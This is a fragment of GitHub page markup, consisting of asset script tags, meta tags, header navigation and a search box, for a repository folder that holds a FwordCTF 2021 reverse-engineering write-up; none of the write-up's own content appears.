integrity="sha512-GD25CNhMGDMzEmeFhUT0FILBupAkx5/CHohnYXOP1togy40O0iu/lASaSp3gV8ue0nwscalJVQqR5gKDRHHDVg==" type="application/javascript" data-module-id="./chunk-three.module.js" data-src="https://github.githubassets.com/assets/chunk-three.module-183db908.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-4vVRplWFI7P4m3RHQ0QAhkq6eZUdtIE8PBhsKYJRwDkhQw9iK/U1st1/fM1tQZFuBFwGMyqaZblbWtQ+2ejcqQ==" type="application/javascript" data-module-id="./chunk-slug.js" data-src="https://github.githubassets.com/assets/chunk-slug-e2f551a6.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-Ofk7ddnMsJ6F9d2vCuPQav+FG9Rg8i6WRG2KmbzwT01S9H4y58Fl42zYxDh/lJjOWeSyOB9KJyfIkdpCCTYG9A==" type="application/javascript" data-module-id="./chunk-invitations.js" data-src="https://github.githubassets.com/assets/chunk-invitations-39f93b75.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-vFR+IqThljOLrAWmjhOL/kiQrjgZZg95uPovX0J7kRH5p7Y049LDRZaXLMDijfeqqk71d3MMn9XP5bUcH+lB9w==" type="application/javascript" data-module-id="./chunk-profile.js" data-src="https://github.githubassets.com/assets/chunk-profile-bc547e22.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-FeRujRzXPfs03roBR3mnHvWukfFpu27XbyZPQri9jcCY0AdUWSM5R4drHTJUDQ62Pz/aX0rSS5xORvTu7NsjlQ==" type="application/javascript" data-module-id="./chunk-overview.js" data-src="https://github.githubassets.com/assets/chunk-overview-15e46e8d.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-xqw233932eUGcGURAPuwUWZpC5Km/9Btq7/2Jnkt1rSWnPSVfMl+JKpr9eLtCoQmrpgP8vaghEuX8bWAS8fzTg==" type="application/javascript" data-module-id="./chunk-advanced.js" data-src="https://github.githubassets.com/assets/chunk-advanced-c6ac36df.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-6Rmd0BBAsJ9ouvb/pgrkToMPs5ogcqi8rcQ7R3GDPPHIjlu0NZ0Bx6HUn/aOruMCECETHm4Exfs5gjYdHs66RQ==" type="application/javascript" data-module-id="./chunk-runner-groups.js" data-src="https://github.githubassets.com/assets/chunk-runner-groups-e9199dd0.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-xdGx4qSd2qa0c/AVc4wDqpBhFHasDjOZ5y+MbwuIRA+ar7YxAFhZ2pGFs/+W5hVjSv+BMfKrcWpgLwR3xPIWHA==" type="application/javascript" data-module-id="./chunk-profile-pins-element.js" data-src="https://github.githubassets.com/assets/chunk-profile-pins-element-c5d1b1e2.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-LrD2kFGlUY4JxKVeN3dgYfuhfq0akTPGHtqW0gxkM2sDqVY6pauK2k57tmMHw4TQdcUrs+RQnBc1HPD+ou+ZfQ==" type="application/javascript" data-module-id="./chunk-emoji-picker-element.js" data-src="https://github.githubassets.com/assets/chunk-emoji-picker-element-2eb0f690.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-EvJ2Fip59DXgARNuwTWgjdVqoCjhXQL73SP9yexijlWStKq92sfbKeGK5R4wIP0QOr39WsnW/Kaw3Wpl1QPfog==" type="application/javascript" data-module-id="./chunk-edit-hook-secret-element.js" data-src="https://github.githubassets.com/assets/chunk-edit-hook-secret-element-12f27616.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-W0EihGBOA1mE3orR7s2squ9xVaLXrwd2bOYY9SSslfZHrovrS6KenJU+XXn+CaykddON6/aFEd/FbuQ/FltI9Q==" type="application/javascript" data-module-id="./chunk-insights-query.js" data-src="https://github.githubassets.com/assets/chunk-insights-query-5b412284.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-D/5Ad6jlKQNRPSHbVN5ShlFXOTyRsKbT7O0cWbVHwtOZ/UrwOC5bHKaQFHTq46qeMBbFKyDG+oIdtm5G8NifDA==" type="application/javascript" data-module-id="./chunk-remote-clipboard-copy.js" data-src="https://github.githubassets.com/assets/chunk-remote-clipboard-copy-0ffe4077.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-SUjF5sI77QngAIQUwKJRgZuIM4qggFBMtOZJ3EFS7ecv4uq4BQQJivDVxNBG9api9/rWrpw0d6RzvTCz2GrbdA==" type="application/javascript" data-module-id="./chunk-series-table.js" data-src="https://github.githubassets.com/assets/chunk-series-table-4948c5e6.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-nrfktuuo7BZhPpJxM4fVi62vPbZu6VJZ7ykfarxBExTTDnchXEalCJOq2O3GrVdfWu9cdn9kR/J8+oeTAjdHlA==" type="application/javascript" data-module-id="./chunk-line-chart.js" data-src="https://github.githubassets.com/assets/chunk-line-chart-9eb7e4b6.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-IOMGagwchKC7UeWHK/bV/rO1F1/RZAH0fNNouWV2boLOtE1a9LUbesoRsYK7sz6aFXslPC8fLfow+yWpT1eZzQ==" type="application/javascript" data-module-id="./chunk-stacked-area-chart.js" data-src="https://github.githubassets.com/assets/chunk-stacked-area-chart-20e3066a.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-GohDpVrxfHqlavb8Zabvj+y/s6CHegYwyGpQxKtzR2MkQsynBC98LdLongRFMHI+TKAECLavp200Lsy9JbV5TQ==" type="application/javascript" data-module-id="./chunk-presence-avatars.js" data-src="https://github.githubassets.com/assets/chunk-presence-avatars-1a8843a5.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-TpHTIXhA/2bI21CVmFL1oS3dv+8zveJVZLOVVAZwXNAAI94Hy70L9vT3Q1Vvkyu4Z2gi2iFdy1a53pfYlEDgnQ==" type="application/javascript" data-module-id="./chunk-pulse-authors-graph-element.js" data-src="https://github.githubassets.com/assets/chunk-pulse-authors-graph-element-4e91d321.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-aNAcFMlIdG1ocY5LnZylnN/6KXiJxyPvKg7y1Jnai732wdnrjXazcvNiQkRnj5FY8WP6JRa3K4doCReA4nhj7w==" type="application/javascript" data-module-id="./chunk-stacks-input-config-view.js" data-src="https://github.githubassets.com/assets/chunk-stacks-input-config-view-68d01c14.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-MXXdKvrDUhz9jfXB1/McrPebK8VbV5haYcxcNt5WXgbUym55dZattmCIAK2pJFAD2h4aBUFHo7CzpjmDYf7EkQ==" type="application/javascript" data-module-id="./chunk-community-contributions.js" data-src="https://github.githubassets.com/assets/chunk-community-contributions-3175dd2a.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-eWDdPSTt/NMNFFSNdUSOf36O6AJJepQdiKFtVzHjM5WYpUTAg21zPoyeA4DqfPNL5RggK/+RjWQZzypmNBAH4w==" type="application/javascript" data-module-id="./chunk-discussion-page-views.js" data-src="https://github.githubassets.com/assets/chunk-discussion-page-views-7960dd3d.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-5+v3VN/rhJv/1iAOVphuCGs1FM9eUlSB43CJLw1txGMLvuPNNz/xHQbzTOIW+t2NKFpTnptRvKbuicQ3Jp28UQ==" type="application/javascript" data-module-id="./chunk-discussions-daily-contributors.js" data-src="https://github.githubassets.com/assets/chunk-discussions-daily-contributors-e7ebf754.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-/PSS3erY5t+SZL9B5T6Edgzy2pLD3jx7G/ZqQE+UCPhaaMEEc8Qrhv5XTREOOX0e3DquvxVDDM/KVa6SK/BPcA==" type="application/javascript" data-module-id="./chunk-discussions-new-contributors.js" data-src="https://github.githubassets.com/assets/chunk-discussions-new-contributors-fcf492dd.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-7vazCSTbHAmhDkKepqPuoJu5ZlBV51uKBKdUTiKd5UylsfULxuXr6XtFSZ16eU4TzdMAifa2hR4riO/QRi/9gw==" type="application/javascript" data-module-id="./chunk-tweetsodium.js" data-src="https://github.githubassets.com/assets/chunk-tweetsodium-eef6b309.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-AVKfqEKBF/JCvS2PoakItu304k6gGt9oSMBW2R/eEfGsGuTmC9QeiQw//IJJKFRQdrzpha/FoC/cws9v6dsujQ==" type="application/javascript" data-module-id="./chunk-jump-to.js" data-src="https://github.githubassets.com/assets/chunk-jump-to-01529fa8.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-mQXS2AvjT52IlcDNeeAaWUnOLa3aaGISiApB7zeboZBSILzsVM1ikEJdM7VIaH+xwYYT/D6lqtIwjO1/KVbK2Q==" type="application/javascript" data-module-id="./chunk-user-status-submit.js" data-src="https://github.githubassets.com/assets/chunk-user-status-submit-9905d2d8.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-4xtjUJAtGhsZOLk+SHoir8MWF0vKHoR4tGlR36xsg1kGrE9ftN4BHe21k2TT5jSkqz5x8z7BfZKj/eUuwcZMEQ==" type="application/javascript" data-module-id="./chunk-launch-code-element.js" data-src="https://github.githubassets.com/assets/chunk-launch-code-element-e31b6350.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-NilVxyBbQNJ61v85EVcC3VjOsz5tz+bOlaR1h1R+jIFXNT8VhoalRgPXREht+R3JIZF5fiqkkHZy3+01pX4ZDg==" type="application/javascript" data-module-id="./chunk-metric-selection-element.js" data-src="https://github.githubassets.com/assets/chunk-metric-selection-element-362955c7.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-VtwQp1HbSSWXOsB5a8wzpRH8Bl7/vD0jgBgXsp2K2CTYkhfq/LAWps52SnVQjcRPoB2svCVaJV20hyFuCbGL3w==" type="application/javascript" data-module-id="./chunk-severity-calculator-element.js" data-src="https://github.githubassets.com/assets/chunk-severity-calculator-element-56dc10a7.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-yXHkwiNZgB6O0iSDKE8jrZzTtTyF8YdFFXHcemhWEPuN3sWs1PQrSwEh0Gw4/B9TIzUfvogbqlJ71yLLuqyM+Q==" type="application/javascript" data-module-id="./chunk-readme-toc-element.js" data-src="https://github.githubassets.com/assets/chunk-readme-toc-element-c971e4c2.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-QMvMhJF7+RJNuy+lp8zP+XbKf08Cc36NVOw6CMk0WRGAO1kmoNhTC+FjHB5EBFx/sDurFeYqerS3NGhusJncMA==" type="application/javascript" data-module-id="./chunk-feature-callout-element.js" data-src="https://github.githubassets.com/assets/chunk-feature-callout-element-40cbcc84.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-SyYXfc8EbLO9BnTas69LeNMF6aXITT41QqsFoIuEHHt/0i9+WQAV7ZFBu944TFS7HHFu9eRgmdq1MU/W12Q8xw==" type="application/javascript" data-module-id="./chunk-sortable-behavior.js" data-src="https://github.githubassets.com/assets/chunk-sortable-behavior-4b26177d.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-6JUQHgkTqBaCCdDugMcO4fQ8YxUHk+m6rwVp2Wxa4FMVz6BbBMPOzGluT4wBq8NTUcFv6DnXSOnt5e85jNgpGg==" type="application/javascript" data-module-id="./chunk-drag-drop.js" data-src="https://github.githubassets.com/assets/chunk-drag-drop-e895101e.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-28pipPJZvizfcYYETJWBBeDHsrDEz7A06d7Y5swgY/OWmsX0ZJW6mkZVFRO7Z/xZh1D1qFbPHGNixfCd1YpBnA==" type="application/javascript" data-module-id="./chunk-contributions-spider-graph.js" data-src="https://github.githubassets.com/assets/chunk-contributions-spider-graph-dbca62a4.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-y0yuiXfWuIeCCcUBT1jacp25vWnFCJWgwLM5G1VM4tmCHdoQbiVjvW/vuSuEXUjtS8WwdioTD5hVv9UULiUlww==" type="application/javascript" data-module-id="./chunk-webgl-warp.js" data-src="https://github.githubassets.com/assets/chunk-webgl-warp-cb4cae89.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-3R5+VhOHwJbG+s7VKlj1HjwVKo/RPldgUh98Yed4XMlk1jH7LP20vRYmLUqnvVaZcgx9x9XdWmQWKaBRQfsVvg==" type="application/javascript" src="https://github.githubassets.com/assets/codespaces-dd1e7e56.js"></script><script crossorigin="anonymous" defer="defer" integrity="sha512-tfzZxJCbul4TLTQmD9EJzuvXoLZGUCnWTiuJCGnXlaABfL2eD0I/J/IL9blT+JbF1dQvKi1g/E7396zAKdrZTA==" type="application/javascript" src="https://github.githubassets.com/assets/repositories-b5fcd9c4.js"></script><script crossorigin="anonymous" defer="defer" integrity="sha512-CfJc9iAnfLJnxnvSY41oW/N+iuVSia2CCj/v47XVliM9ACQPKur94EPHnokX0RG8e+FPMhJ2CGy9FfqLYZi4Dg==" type="application/javascript" src="https://github.githubassets.com/assets/topic-suggestions-09f25cf6.js"></script><script crossorigin="anonymous" defer="defer" integrity="sha512-Y9QCffkHDk3/KAoYUMhKeokbNlXWgpO+53XrccRwhUWzMTxEmhnp1ce7OVWP3vOzhCfWaxxnKWW9eVjjny8nRA==" type="application/javascript" src="https://github.githubassets.com/assets/code-menu-63d4027d.js"></script>
<meta name="viewport" content="width=device-width"> <title>ctf-writeups/FwordCTF 2021/Reverse engineering/Time Machine at master · KEERRO/ctf-writeups · GitHub</title> <meta name="description" content="Contribute to KEERRO/ctf-writeups development by creating an account on GitHub."> <link rel="search" type="application/opensearchdescription+xml" href="/opensearch.xml" title="GitHub"> <link rel="fluid-icon" href="https://github.com/fluidicon.png" title="GitHub"> <meta property="fb:app_id" content="1401488693436528"> <meta name="apple-itunes-app" content="app-id=1477376905" /> <meta name="twitter:image:src" content="https://opengraph.githubassets.com/64cab0c9b957062edda6be38ce05bb592716133df35f868b5e419f4a9d8ef3f0/KEERRO/ctf-writeups" /><meta name="twitter:site" content="@github" /><meta name="twitter:card" content="summary_large_image" /><meta name="twitter:title" content="ctf-writeups/FwordCTF 2021/Reverse engineering/Time Machine at master · KEERRO/ctf-writeups" /><meta name="twitter:description" content="Contribute to KEERRO/ctf-writeups development by creating an account on GitHub." /> <meta property="og:image" content="https://opengraph.githubassets.com/64cab0c9b957062edda6be38ce05bb592716133df35f868b5e419f4a9d8ef3f0/KEERRO/ctf-writeups" /><meta property="og:image:alt" content="Contribute to KEERRO/ctf-writeups development by creating an account on GitHub." /><meta property="og:image:width" content="1200" /><meta property="og:image:height" content="600" /><meta property="og:site_name" content="GitHub" /><meta property="og:type" content="object" /><meta property="og:title" content="ctf-writeups/FwordCTF 2021/Reverse engineering/Time Machine at master · KEERRO/ctf-writeups" /><meta property="og:url" content="https://github.com/KEERRO/ctf-writeups" /><meta property="og:description" content="Contribute to KEERRO/ctf-writeups development by creating an account on GitHub." />
<link rel="assets" href="https://github.githubassets.com/">
<meta name="request-id" content="B3EE:8945:1A631B6:1BB7BBA:618306B2" data-pjax-transient="true"/><meta name="html-safe-nonce" content="089a4126afcf591d59ed44895ab95ab64825e0994d71cbb4faa13146dd61b73f" data-pjax-transient="true"/><meta name="visitor-payload" content="eyJyZWZlcnJlciI6IiIsInJlcXVlc3RfaWQiOiJCM0VFOjg5NDU6MUE2MzFCNjoxQkI3QkJBOjYxODMwNkIyIiwidmlzaXRvcl9pZCI6IjQ3NDI4MTAwNTczNTAyNTIyMTAiLCJyZWdpb25fZWRnZSI6ImZyYSIsInJlZ2lvbl9yZW5kZXIiOiJmcmEifQ==" data-pjax-transient="true"/><meta name="visitor-hmac" content="beda38467338d4ed28d1feb63252f47a68c6b44946f84b4584f9d19020c4aa41" data-pjax-transient="true"/>
<meta name="hovercard-subject-tag" content="repository:162845937" data-pjax-transient>
<meta name="github-keyboard-shortcuts" content="repository,source-code" data-pjax-transient="true" />
<meta name="selected-link" value="repo_source" data-pjax-transient>
<meta name="google-site-verification" content="c1kuD-K2HIVF635lypcsWPoD4kilo5-jA_wBFyT4uMY"> <meta name="google-site-verification" content="KT5gs8h0wvaagLKAVWq8bbeNwnZZK1r1XQysX3xurLU"> <meta name="google-site-verification" content="ZzhVyEFwb7w3e0-uOTltm8Jsck2F5StVihD0exw2fsA"> <meta name="google-site-verification" content="GXs5KoUUkNCoaAZn7wPN-t01Pywp9M3sEjnt_3_ZWPc">
<meta name="octolytics-url" content="https://collector.githubapp.com/github/collect" />
<meta name="analytics-location" content="/<user-name>/<repo-name>/files/disambiguate" data-pjax-transient="true" />
<meta name="hostname" content="github.com"> <meta name="user-login" content="">
<meta name="expected-hostname" content="github.com">
<meta name="enabled-features" content="MARKETPLACE_PENDING_INSTALLATIONS,FILE_UPLOAD_CURSOR_POSITION">
<meta http-equiv="x-pjax-version" content="89408a5ac57f5b71ed7ebb466b241a52be13289bf52f5580353d1ab3681a2237"> <meta http-equiv="x-pjax-csp-version" content="9ea82e8060ac9d44365bfa193918b70ed58abd9413362ba412abb161b3a8d1b6"> <meta http-equiv="x-pjax-css-version" content="8c75751aad52ee8322f8435d51506c1b59a636003602b767a0b479bddfe5cb22"> <meta http-equiv="x-pjax-js-version" content="3cad26b543586e12a4ad3073df6bdffcfe52ab9dafecfd0ffc60594d519fb9b5">
<meta name="go-import" content="github.com/KEERRO/ctf-writeups git https://github.com/KEERRO/ctf-writeups.git">
<meta name="octolytics-dimension-user_id" content="46076094" /><meta name="octolytics-dimension-user_login" content="KEERRO" /><meta name="octolytics-dimension-repository_id" content="162845937" /><meta name="octolytics-dimension-repository_nwo" content="KEERRO/ctf-writeups" /><meta name="octolytics-dimension-repository_public" content="true" /><meta name="octolytics-dimension-repository_is_fork" content="false" /><meta name="octolytics-dimension-repository_network_root_id" content="162845937" /><meta name="octolytics-dimension-repository_network_root_nwo" content="KEERRO/ctf-writeups" />
<link rel="canonical" href="https://github.com/KEERRO/ctf-writeups/tree/master/FwordCTF%202021/Reverse%20engineering/Time%20Machine" data-pjax-transient>
<meta name="browser-stats-url" content="https://api.github.com/_private/browser/stats">
<meta name="browser-errors-url" content="https://api.github.com/_private/browser/errors">
<meta name="browser-optimizely-client-errors-url" content="https://api.github.com/_private/browser/optimizely_client/errors">
<link rel="mask-icon" href="https://github.githubassets.com/pinned-octocat.svg" color="#000000"> <link rel="alternate icon" class="js-site-favicon" type="image/png" href="https://github.githubassets.com/favicons/favicon.png"> <link rel="icon" class="js-site-favicon" type="image/svg+xml" href="https://github.githubassets.com/favicons/favicon.svg">
<meta name="theme-color" content="#1e2327"><meta name="color-scheme" content="light dark" />
<link rel="manifest" href="/manifest.json" crossOrigin="use-credentials">
</head>
<body class="logged-out env-production page-responsive" style="word-wrap: break-word;">
<div class="position-relative js-header-wrapper "> Skip to content <span> <span></span></span>
<header class="Header-old header-logged-out js-details-container Details position-relative f4 py-2" role="banner"> <div class="container-xl d-lg-flex flex-items-center p-responsive"> <div class="d-flex flex-justify-between flex-items-center"> <svg height="32" aria-hidden="true" viewBox="0 0 16 16" version="1.1" width="32" data-view-component="true" class="octicon octicon-mark-github color-text-white"> <path fill-rule="evenodd" d="M8 0C3.58 0 0 3.58 0 8c0 3.54 2.29 6.53 5.47 7.59.4.07.55-.17.55-.38 0-.19-.01-.82-.01-1.49-2.01.37-2.53-.49-2.69-.94-.09-.23-.48-.94-.82-1.13-.28-.15-.68-.52-.01-.53.63-.01 1.08.58 1.23.82.72 1.21 1.87.87 2.33.66.07-.52.28-.87.51-1.07-1.78-.2-3.64-.89-3.64-3.95 0-.87.31-1.59.82-2.15-.08-.2-.36-1.02.08-2.12 0 0 .67-.21 2.2.82.64-.18 1.32-.27 2-.27.68 0 1.36.09 2 .27 1.53-1.04 2.2-.82 2.2-.82.44 1.1.16 1.92.08 2.12.51.56.82 1.27.82 2.15 0 3.07-1.87 3.75-3.65 3.95.29.25.54.73.54 1.48 0 1.07-.01 1.93-.01 2.2 0 .21.15.46.55.38A8.013 8.013 0 0016 8c0-4.42-3.58-8-8-8z"></path></svg>
<div class="d-lg-none css-truncate css-truncate-target width-fit p-2">
</div>
<div class="d-flex flex-items-center"> Sign up
<button aria-label="Toggle navigation" aria-expanded="false" type="button" data-view-component="true" class="js-details-target btn-link d-lg-none mt-1"> <svg aria-hidden="true" height="24" viewBox="0 0 16 16" version="1.1" width="24" data-view-component="true" class="octicon octicon-three-bars color-text-white"> <path fill-rule="evenodd" d="M1 2.75A.75.75 0 011.75 2h12.5a.75.75 0 110 1.5H1.75A.75.75 0 011 2.75zm0 5A.75.75 0 011.75 7h12.5a.75.75 0 110 1.5H1.75A.75.75 0 011 7.75zM1.75 12a.75.75 0 100 1.5h12.5a.75.75 0 100-1.5H1.75z"></path></svg>
</button> </div> </div>
<div class="HeaderMenu HeaderMenu--logged-out position-fixed top-0 right-0 bottom-0 height-fit position-lg-relative d-lg-flex flex-justify-between flex-items-center flex-auto"> <div class="d-flex d-lg-none flex-justify-end border-bottom color-bg-subtle p-3"> <button aria-label="Toggle navigation" aria-expanded="false" type="button" data-view-component="true" class="js-details-target btn-link"> <svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-x color-icon-secondary"> <path fill-rule="evenodd" d="M5.72 5.72a.75.75 0 011.06 0L12 10.94l5.22-5.22a.75.75 0 111.06 1.06L13.06 12l5.22 5.22a.75.75 0 11-1.06 1.06L12 13.06l-5.22 5.22a.75.75 0 01-1.06-1.06L10.94 12 5.72 6.78a.75.75 0 010-1.06z"></path></svg>
</button> </div>
<nav class="mt-0 px-3 px-lg-0 mb-5 mb-lg-0" aria-label="Global"> <details class="HeaderMenu-details details-overlay details-reset width-full"> <summary class="HeaderMenu-summary HeaderMenu-link px-0 py-3 border-0 no-wrap d-block d-lg-inline-block"> Why GitHub? <svg x="0px" y="0px" viewBox="0 0 14 8" xml:space="preserve" fill="none" class="icon-chevon-down-mktg position-absolute position-lg-relative"> <path d="M1,1l6.2,6L13,1"></path> </svg> </summary> <div class="dropdown-menu flex-auto rounded px-0 mt-0 pb-4 p-lg-4 position-relative position-lg-absolute left-0 left-lg-n4"> Features <span>→</span>
Mobile <span>→</span> Actions <span>→</span> Codespaces <span>→</span> Packages <span>→</span> Security <span>→</span> Code review <span>→</span> Issues <span>→</span> Integrations <span>→</span>
GitHub Sponsors <span>→</span> Customer stories<span>→</span> </div> </details> Team Enterprise
<details class="HeaderMenu-details details-overlay details-reset width-full"> <summary class="HeaderMenu-summary HeaderMenu-link px-0 py-3 border-0 no-wrap d-block d-lg-inline-block"> Explore <svg x="0px" y="0px" viewBox="0 0 14 8" xml:space="preserve" fill="none" class="icon-chevon-down-mktg position-absolute position-lg-relative"> <path d="M1,1l6.2,6L13,1"></path> </svg> </summary>
<div class="dropdown-menu flex-auto rounded px-0 pt-2 pb-0 mt-0 pb-4 p-lg-4 position-relative position-lg-absolute left-0 left-lg-n4"> Explore GitHub <span>→</span>
<h4 class="color-fg-muted text-normal text-mono f5 mb-2 border-lg-top pt-lg-3">Learn and contribute</h4> Topics <span>→</span> Collections <span>→</span> Trending <span>→</span> Learning Lab <span>→</span> Open source guides <span>→</span>
<h4 class="color-fg-muted text-normal text-mono f5 mb-2 border-lg-top pt-lg-3">Connect with others</h4> The ReadME Project <span>→</span> Events <span>→</span> Community forum <span>→</span> GitHub Education <span>→</span> GitHub Stars program <span>→</span> </div> </details>
Marketplace
<details class="HeaderMenu-details details-overlay details-reset width-full"> <summary class="HeaderMenu-summary HeaderMenu-link px-0 py-3 border-0 no-wrap d-block d-lg-inline-block"> Pricing <svg x="0px" y="0px" viewBox="0 0 14 8" xml:space="preserve" fill="none" class="icon-chevon-down-mktg position-absolute position-lg-relative"> <path d="M1,1l6.2,6L13,1"></path> </svg> </summary>
<div class="dropdown-menu flex-auto rounded px-0 pt-2 pb-4 mt-0 p-lg-4 position-relative position-lg-absolute left-0 left-lg-n4"> Plans <span>→</span>
Compare plans <span>→</span> Contact Sales <span>→</span>
Education <span>→</span> </div> </details> </nav>
<div class="d-lg-flex flex-items-center px-3 px-lg-0 text-center text-lg-left"> <div class="d-lg-flex min-width-0 mb-3 mb-lg-0">
<div class="header-search flex-auto js-site-search position-relative flex-self-stretch flex-md-self-auto mb-3 mb-md-0 mr-0 mr-md-3 scoped-search site-scoped-search js-jump-to"> <div class="position-relative"> </option></form><form class="js-site-search-form" role="search" aria-label="Site" data-scope-type="Repository" data-scope-id="162845937" data-scoped-search-url="/KEERRO/ctf-writeups/search" data-owner-scoped-search-url="/users/KEERRO/search" data-unscoped-search-url="/search" action="/KEERRO/ctf-writeups/search" accept-charset="UTF-8" method="get"> <label class="form-control input-sm header-search-wrapper p-0 js-chromeless-input-container header-search-wrapper-jump-to position-relative d-flex flex-justify-between flex-items-center"> <input type="text" class="form-control input-sm header-search-input jump-to-field js-jump-to-field js-site-search-focus js-site-search-field is-clearable" data-hotkey=s,/ name="q" data-test-selector="nav-search-input" placeholder="Search" data-unscoped-placeholder="Search GitHub" data-scoped-placeholder="Search" autocapitalize="off" role="combobox" aria-haspopup="listbox" aria-expanded="false" aria-autocomplete="list" aria-controls="jump-to-results" aria-label="Search" data-jump-to-suggestions-path="/_graphql/GetSuggestedNavigationDestinations" spellcheck="false" autocomplete="off" > <input type="hidden" data-csrf="true" class="js-data-jump-to-suggestions-path-csrf" value="X4JFkhjaPI9RpjwuIvogiJdHc5v9Qb+CfkBFzwFaaWslBAW6VdplgerIQKljs9XIgWEOH/GY66Rs3MisjISS/g==" /> <input type="hidden" class="js-site-search-type-field" name="type" > <svg xmlns="http://www.w3.org/2000/svg" width="22" height="20" aria-hidden="true" class="mr-1 header-search-key-slash"><path fill="none" stroke="#979A9C" opacity=".4" d="M3.5.5h12c1.7 0 3 1.3 3 3v13c0 1.7-1.3 3-3 3h-12c-1.7 0-3-1.3-3-3v-13c0-1.7 1.3-3 3-3z"></path><path fill="#979A9C" d="M11.8 6L8 15.1h-.9L10.8 6h1z"></path></svg>
<div class="Box position-absolute overflow-hidden d-none jump-to-suggestions js-jump-to-suggestions-container">
<div class="jump-to-octicon js-jump-to-octicon flex-shrink-0 mr-2 text-center d-none"> <svg title="Repository" aria-label="Repository" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo js-jump-to-octicon-repo d-none flex-shrink-0"> <path fill-rule="evenodd" d="M2 2.5A2.5 2.5 0 014.5 0h8.75a.75.75 0 01.75.75v12.5a.75.75 0 01-.75.75h-2.5a.75.75 0 110-1.5h1.75v-2h-8a1 1 0 00-.714 1.7.75.75 0 01-1.072 1.05A2.495 2.495 0 012 11.5v-9zm10.5-1V9h-8c-.356 0-.694.074-1 .208V2.5a1 1 0 011-1h8zM5 12.25v3.25a.25.25 0 00.4.2l1.45-1.087a.25.25 0 01.3 0L8.6 15.7a.25.25 0 00.4-.2v-3.25a.25.25 0 00-.25-.25h-3.5a.25.25 0 00-.25.25z"></path></svg> <svg title="Project" aria-label="Project" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-project js-jump-to-octicon-project d-none flex-shrink-0"> <path fill-rule="evenodd" d="M1.75 0A1.75 1.75 0 000 1.75v12.5C0 15.216.784 16 1.75 16h12.5A1.75 1.75 0 0016 14.25V1.75A1.75 1.75 0 0014.25 0H1.75zM1.5 1.75a.25.25 0 01.25-.25h12.5a.25.25 0 01.25.25v12.5a.25.25 0 01-.25.25H1.75a.25.25 0 01-.25-.25V1.75zM11.75 3a.75.75 0 00-.75.75v7.5a.75.75 0 001.5 0v-7.5a.75.75 0 00-.75-.75zm-8.25.75a.75.75 0 011.5 0v5.5a.75.75 0 01-1.5 0v-5.5zM8 3a.75.75 0 00-.75.75v3.5a.75.75 0 001.5 0v-3.5A.75.75 0 008 3z"></path></svg> <svg title="Search" aria-label="Search" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-search js-jump-to-octicon-search d-none flex-shrink-0"> <path fill-rule="evenodd" d="M11.5 7a4.499 4.499 0 11-8.998 0A4.499 4.499 0 0111.5 7zm-.82 4.74a6 6 0 111.06-1.06l3.04 3.04a.75.75 0 11-1.06 1.06l-3.04-3.04z"></path></svg> </div>
<div class="jump-to-suggestion-name js-jump-to-suggestion-name flex-auto overflow-hidden text-left no-wrap css-truncate css-truncate-target"> </div>
<div class="border rounded-1 flex-shrink-0 color-bg-tertiary px-1 color-text-tertiary ml-1 f6 d-none js-jump-to-badge-search"> <span> In this repository </span> <span> All GitHub </span> <span>↵</span> </div>
<div aria-hidden="true" class="border rounded-1 flex-shrink-0 color-bg-tertiary px-1 color-text-tertiary ml-1 f6 d-none d-on-nav-focus js-jump-to-badge-jump"> Jump to <span>↵</span> </div>
<span>No suggested jump to results</span>
